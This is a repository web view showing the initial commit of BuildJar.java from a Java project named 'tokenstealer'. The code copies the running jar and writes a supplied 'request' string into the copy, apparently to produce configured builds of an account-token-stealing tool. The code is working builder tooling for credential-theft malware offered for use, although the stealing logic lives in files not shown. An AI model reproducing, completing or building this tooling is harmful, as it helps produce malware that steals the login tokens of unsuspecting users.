aboutsummaryrefslogtreecommitdiff
path: root/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java
diff options
context:
space:
mode:
authorromangraef <roman.graef@gmail.com>2018-02-13 14:46:26 +0100
committerromangraef <roman.graef@gmail.com>2018-02-13 14:46:26 +0100
commite174326e16e056b98799b8771c5c7315839b4cee (patch)
tree5ce3e229cfbea4d53f8f874be49e60cff2cf1802 /src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java
downloadtokenstealer-e174326e16e056b98799b8771c5c7315839b4cee.tar.gz
tokenstealer-e174326e16e056b98799b8771c5c7315839b4cee.tar.bz2
tokenstealer-e174326e16e056b98799b8771c5c7315839b4cee.zip
Initial commit
Diffstat (limited to 'src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java')
-rw-r--r--src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java43
1 files changed, 43 insertions, 0 deletions
diff --git a/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java b/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java
new file mode 100644
index 0000000..c6224ba
--- /dev/null
+++ b/src/main/java/de/romjaki/tokenstealer/builder/BuildJar.java
@@ -0,0 +1,43 @@
+package de.romjaki.tokenstealer.builder;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.nio.file.*;
+import java.util.HashMap;
+
+
+public class BuildJar {
+ static void buildJar(String request, File target) {
+ if (target == null) return;
+ try {
+ Files.copy(
+ Paths.get(getCurrentJar()),
+ Paths.get(target.toURI()),
+ StandardCopyOption.REPLACE_EXISTING
+ );
+ } catch (URISyntaxException | IOException e) {
+ e.printStackTrace();
+ return;
+ }
+ URI fileUri = target.toURI();
+ try (FileSystem fs =
+ FileSystems.newFileSystem(
+ new URI("jar:" + fileUri.getScheme(), fileUri.getPath(), null),
+ new HashMap<String, String>() {{
+ put("create", "false");
+ }},
+ null)) {
+ Path path = fs.getPath("/request");
+ Files.write(path, request.getBytes());
+ } catch (IOException | URISyntaxException e) {
+ e.printStackTrace();
+ }
+
+ }
+
+ private static URI getCurrentJar() throws URISyntaxException {
+ return BuildJar.class.getProtectionDomain().getCodeSource().getLocation().toURI();
+ }
+}